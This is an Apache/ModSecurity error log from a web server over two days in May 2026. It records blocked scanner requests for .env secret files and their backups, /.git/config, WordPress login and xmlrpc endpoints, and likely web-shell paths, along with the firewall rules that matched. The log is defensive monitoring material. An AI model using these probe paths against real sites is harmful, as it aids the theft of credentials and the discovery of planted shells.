[Fri May 15 11:25:02.856846 2026] [:error] [pid 1189:tid 1249] [client 208.84.100.208:50646] [client 208.84.100.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.local.orig"] [unique_id "agaSDge36qIGegR4kcmVRQAAAFg"]
[Fri May 15 11:25:02.856989 2026] [:error] [pid 1189:tid 1227] [client 208.84.100.208:50648] [client 208.84.100.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.local.copy"] [unique_id "agaSDge36qIGegR4kcmVRgAAAEI"]
[Fri May 15 11:25:02.857347 2026] [:error] [pid 1189:tid 1229] [client 208.84.100.208:50632] [client 208.84.100.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.local.swp"] [unique_id "agaSDge36qIGegR4kcmVRwAAAEQ"]
[Fri May 15 11:25:02.858037 2026] [:error] [pid 1190:tid 1272] [client 208.84.100.208:50616] [client 208.84.100.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.local~"] [unique_id "agaSDtqiXrD7hne4gFbUHgAAAJQ"]
[Fri May 15 11:25:02.858201 2026] [:error] [pid 1189:tid 1236] [client 208.84.100.208:50600] [client 208.84.100.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.local.save"] [unique_id "agaSDge36qIGegR4kcmVSAAAAEs"]
[Fri May 15 11:25:02.858761 2026] [:error] [pid 1189:tid 1246] [client 208.84.100.208:50596] [client 208.84.100.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.local.backup"] [unique_id "agaSDge36qIGegR4kcmVSQAAAFU"]
[Fri May 15 11:25:02.859028 2026] [:error] [pid 1188:tid 1211] [client 208.84.100.208:50592] [client 208.84.100.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.local.old"] [unique_id "agaSDtY68iW8yuNkNzP6JAAAAA4"]
[Fri May 15 11:25:02.859673 2026] [:error] [pid 1190:tid 1255] [client 208.84.100.208:50580] [client 208.84.100.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.local.bak"] [unique_id "agaSDtqiXrD7hne4gFbUHwAAAIM"]
[Fri May 15 11:25:02.860006 2026] [:error] [pid 1190:tid 1252] [client 208.84.100.208:50570] [client 208.84.100.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.copy"] [unique_id "agaSDtqiXrD7hne4gFbUIAAAAIA"]
[Fri May 15 11:25:02.860822 2026] [:error] [pid 1188:tid 1208] [client 208.84.100.208:50546] [client 208.84.100.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.swp"] [unique_id "agaSDtY68iW8yuNkNzP6JQAAAAs"]
[Fri May 15 11:25:02.861033 2026] [:error] [pid 50531:tid 50544] [client 208.84.100.208:50560] [client 208.84.100.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.orig"] [unique_id "agaSDh3WbFwE6voqGzrvRAAAAQs"]
[Fri May 15 11:25:02.861163 2026] [:error] [pid 50531:tid 50550] [client 208.84.100.208:50540] [client 208.84.100.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env~"] [unique_id "agaSDh3WbFwE6voqGzrvRQAAARE"]
[Fri May 15 11:25:02.861677 2026] [:error] [pid 50531:tid 50545] [client 208.84.100.208:50650] [client 208.84.100.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.production.bak"] [unique_id "agaSDh3WbFwE6voqGzrvRgAAAQw"]
[Fri May 15 11:25:03.053271 2026] [:error] [pid 50531:tid 50557] [client 208.84.100.208:50448] [client 208.84.100.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.production.copy"] [unique_id "agaSDx3WbFwE6voqGzrvRwAAARg"]
[Fri May 15 11:50:38.647293 2026] [:error] [pid 1189:tid 1228] [client 34.129.212.115:41934] [client 34.129.212.115] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "agaYDge36qIGegR4kcmaQAAAAEM"]
[Fri May 15 12:12:08.574498 2026] [:error] [pid 1190:tid 1271] [client 34.186.235.60:56950] [client 34.186.235.60] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "agadGNqiXrD7hne4gFbYVAAAAJM"]
[Fri May 15 12:20:41.809154 2026] [:error] [pid 1190:tid 1255] [client 176.120.22.46:54789] [client 176.120.22.46] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.120.22.46, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "agafGdqiXrD7hne4gFbZXwAAAIM"], referer: https://windfarmcoolants.com.au/wp-login.php
[Fri May 15 12:20:41.813446 2026] [:error] [pid 1190:tid 1255] [client 176.120.22.46:54789] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php, referer: https://windfarmcoolants.com.au/wp-login.php
[Fri May 15 12:20:44.775812 2026] [:error] [pid 51234:tid 51240] [client 176.120.22.46:55754] [client 176.120.22.46] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 176.120.22.46, incrementing ddos counter"] [hostname "windfarmcoolants.com.au"] [uri "/xmlrpc.php"] [unique_id "agafHN72N9CbeiqcqgMBLAAAAUQ"], referer: https://windfarmcoolants.com.au/xmlrpc.php
[Fri May 15 12:20:44.780433 2026] [:error] [pid 51234:tid 51240] [client 176.120.22.46:55754] File does not exist: /usr/local/apache/htdocs/suspended-page/xmlrpc.php, referer: https://windfarmcoolants.com.au/xmlrpc.php
[Fri May 15 16:44:51.035774 2026] [:error] [pid 30272:tid 30276] [client 35.242.140.133:37282] [client 35.242.140.133] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/.env.local"] [unique_id "agbdA3vc_jSFaQ_7_wfB1QAAAYI"]
[Fri May 15 16:44:51.049411 2026] [:error] [pid 30272:tid 30283] [client 35.242.140.133:37288] [client 35.242.140.133] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/.env"] [unique_id "agbdA3vc_jSFaQ_7_wfB1gAAAYk"]
[Fri May 15 16:44:51.063114 2026] [:error] [pid 9304:tid 9312] [client 35.242.140.133:37290] [client 35.242.140.133] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/app/.env"] [unique_id "agbdA9zcINh7UFIbVoGPZAAAAAI"]
[Fri May 15 16:44:51.095956 2026] [:error] [pid 30208:tid 30214] [client 35.242.140.133:37296] [client 35.242.140.133] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/.env.dev.local"] [unique_id "agbdA5mLMCJujX-JTvgjRAAAAIQ"]
[Fri May 15 16:44:51.101816 2026] [:error] [pid 9307:tid 9368] [client 35.242.140.133:37306] [client 35.242.140.133] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/app/.env.local"] [unique_id "agbdAyC43jY1IRzK5VZKqQAAAMM"]
[Fri May 15 16:44:51.111372 2026] [:error] [pid 9307:tid 9366] [client 35.242.140.133:37300] [client 35.242.140.133] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/.env.development.local"] [unique_id "agbdAyC43jY1IRzK5VZKqgAAAME"]
[Fri May 15 16:44:51.114670 2026] [:error] [pid 9304:tid 9328] [client 35.242.140.133:37312] [client 35.242.140.133] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/.env.dev"] [unique_id "agbdA9zcINh7UFIbVoGPZQAAABI"]
[Fri May 15 16:44:51.363890 2026] [:error] [pid 9304:tid 9327] [client 35.242.140.133:37322] [client 35.242.140.133] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/admin/.env"] [unique_id "agbdA9zcINh7UFIbVoGPZgAAABE"]
[Fri May 15 16:44:51.382062 2026] [:error] [pid 30272:tid 30293] [client 35.242.140.133:37332] [client 35.242.140.133] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/api/.env"] [unique_id "agbdA3vc_jSFaQ_7_wfB1wAAAZM"]
[Fri May 15 16:44:51.382138 2026] [:error] [pid 9307:tid 9379] [client 35.242.140.133:37324] [client 35.242.140.133] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/.env.docker"] [unique_id "agbdAyC43jY1IRzK5VZKqwAAAM4"]
[Sat May 16 02:15:02.510507 2026] [:error] [pid 9392:tid 9396] [client 4.205.123.246:37992] File does not exist: /usr/local/apache/htdocs/suspended-page/adminfuns.php
[Sat May 16 02:15:02.806135 2026] [:error] [pid 9392:tid 9402] [client 4.205.123.246:37992] File does not exist: /usr/local/apache/htdocs/suspended-page/sx_pms.php
[Sat May 16 02:15:03.037815 2026] [:error] [pid 9392:tid 9401] [client 4.205.123.246:37992] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-info.php
[Sat May 16 02:15:03.275081 2026] [:error] [pid 9392:tid 9397] [client 4.205.123.246:37992] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-test.php
[Sat May 16 02:15:03.528102 2026] [:error] [pid 9392:tid 9412] [client 4.205.123.246:37992] File does not exist: /usr/local/apache/htdocs/suspended-page/like.php
[Sat May 16 02:15:03.740000 2026] [:error] [pid 9392:tid 9403] [client 4.205.123.246:37992] File does not exist: /usr/local/apache/htdocs/suspended-page/we.php
[Sat May 16 02:15:03.953290 2026] [:error] [pid 9392:tid 9409] [client 4.205.123.246:37992] File does not exist: /usr/local/apache/htdocs/suspended-page/wp.php
[Sat May 16 02:15:04.246536 2026] [:error] [pid 9392:tid 9404] [client 4.205.123.246:37992] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-indx.php
[Sat May 16 02:15:04.489199 2026] [:error] [pid 9392:tid 9416] [client 4.205.123.246:37992] File does not exist: /usr/local/apache/htdocs/suspended-page/zoo.php
[Sat May 16 02:15:04.750183 2026] [:error] [pid 9392:tid 9398] [client 4.205.123.246:37992] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-link-spm.php
[Sat May 16 02:15:04.870020 2026] [:error] [pid 9307:tid 9383] [client 4.205.123.246:36972] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "agdiqCC43jY1IRzK5VZz2gAAANI"]
[Sat May 16 02:15:04.972169 2026] [:error] [pid 9392:tid 9395] [client 4.205.123.246:37992] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-link-snpm.php"] [unique_id "agdiqNBWJIjH1U9zGfYHbQAAAQE"]
[Sat May 16 02:15:05.802071 2026] [:error] [pid 30208:tid 30233] [client 4.205.123.246:38425] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-link-snpm.php"] [unique_id "agdiqZmLMCJujX-JTvhUpwAAAJc"]
[Sat May 16 02:15:05.802585 2026] [:error] [pid 30208:tid 30229] [client 4.205.123.246:38422] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "agdiqZmLMCJujX-JTvhUqAAAAJM"]
[Sat May 16 02:15:06.265995 2026] [:error] [pid 9307:tid 9387] [client 4.205.123.246:37903] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "agdiqiC43jY1IRzK5VZz3AAAANY"]
[Sat May 16 02:15:06.393984 2026] [:error] [pid 59311:tid 59335] [client 4.205.123.246:37934] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-link-snpm.php"] [unique_id "agdiqrGBV7OkryAk5AOaCwAAApQ"]
[Sat May 16 02:15:06.771058 2026] [:error] [pid 59311:tid 59331] [client 4.205.123.246:36983] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "agdiqrGBV7OkryAk5AOaDAAAApA"]
[Sat May 16 02:15:07.447383 2026] [:error] [pid 9305:tid 9353] [client 4.205.123.246:38172] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-link-snpm.php"] [unique_id "agdiq95FZyBmdCM8GsGldgAAAE8"]
[Sat May 16 02:15:07.998894 2026] [:error] [pid 9307:tid 9375] [client 4.205.123.246:38436] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xminie.php"] [unique_id "agdiqyC43jY1IRzK5VZz3QAAAMo"]
[Sat May 16 02:15:08.649822 2026] [:error] [pid 9307:tid 9389] [client 4.205.123.246:36463] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xminie.php"] [unique_id "agdirCC43jY1IRzK5VZz3gAAANg"]
[Sat May 16 02:15:09.777081 2026] [:error] [pid 9305:tid 9362] [client 4.205.123.246:37098] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xminie.php"] [unique_id "agdird5FZyBmdCM8GsGldwAAAFg"]
[Sat May 16 02:15:10.418972 2026] [:error] [pid 9392:tid 9412] [client 4.205.123.246:38467] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xminie.php"] [unique_id "agdirtBWJIjH1U9zGfYHcgAAARI"]
[Sat May 16 02:15:11.379888 2026] [:error] [pid 59311:tid 59332] [client 4.205.123.246:37987] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aaa.php"] [unique_id "agdir7GBV7OkryAk5AOaDgAAApE"]
[Sat May 16 02:15:12.110247 2026] [:error] [pid 9392:tid 9403] [client 4.205.123.246:37580] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aaa.php"] [unique_id "agdisNBWJIjH1U9zGfYHdAAAAQk"]
[Sat May 16 02:15:13.059075 2026] [:error] [pid 30208:tid 30223] [client 4.205.123.246:37994] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aaa.php"] [unique_id "agdisZmLMCJujX-JTvhUqwAAAI0"]
[Sat May 16 02:15:14.042821 2026] [:error] [pid 59311:tid 59338] [client 4.205.123.246:38198] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aaa.php"] [unique_id "agdisrGBV7OkryAk5AOaEAAAApc"]
[Sat May 16 02:15:14.697429 2026] [:error] [pid 30272:tid 30293] [client 4.205.123.246:38510] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bal.php"] [unique_id "agdisnvc_jSFaQ_7_wcxKAAAAZM"]
[Sat May 16 02:15:15.639736 2026] [:error] [pid 30272:tid 30277] [client 4.205.123.246:37537] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bal.php"] [unique_id "agdis3vc_jSFaQ_7_wcxKgAAAYM"]
[Sat May 16 02:15:17.162306 2026] [:error] [pid 9307:tid 9385] [client 4.205.123.246:38715] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bal.php"] [unique_id "agditSC43jY1IRzK5VZz4QAAANQ"]
[Sat May 16 02:15:17.926646 2026] [:error] [pid 9307:tid 9367] [client 4.205.123.246:38523] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bal.php"] [unique_id "agditSC43jY1IRzK5VZz4gAAAMI"]
[Sat May 16 02:15:18.796700 2026] [:error] [pid 59517:tid 59531] [client 4.205.123.246:37073] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws81.php"] [unique_id "agditsWGuSBVizA7n2P3VAAAA4Q"]
[Sat May 16 02:15:19.827694 2026] [:error] [pid 9392:tid 9417] [client 4.205.123.246:38475] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws81.php"] [unique_id "agdit9BWJIjH1U9zGfYHdQAAARc"]
[Sat May 16 02:15:20.769769 2026] [:error] [pid 9307:tid 9368] [client 4.205.123.246:37952] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws81.php"] [unique_id "agdiuCC43jY1IRzK5VZz5AAAAMM"]
[Sat May 16 02:15:21.387319 2026] [:error] [pid 9307:tid 9373] [client 4.205.123.246:38503] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws81.php"] [unique_id "agdiuSC43jY1IRzK5VZz5QAAAMg"]
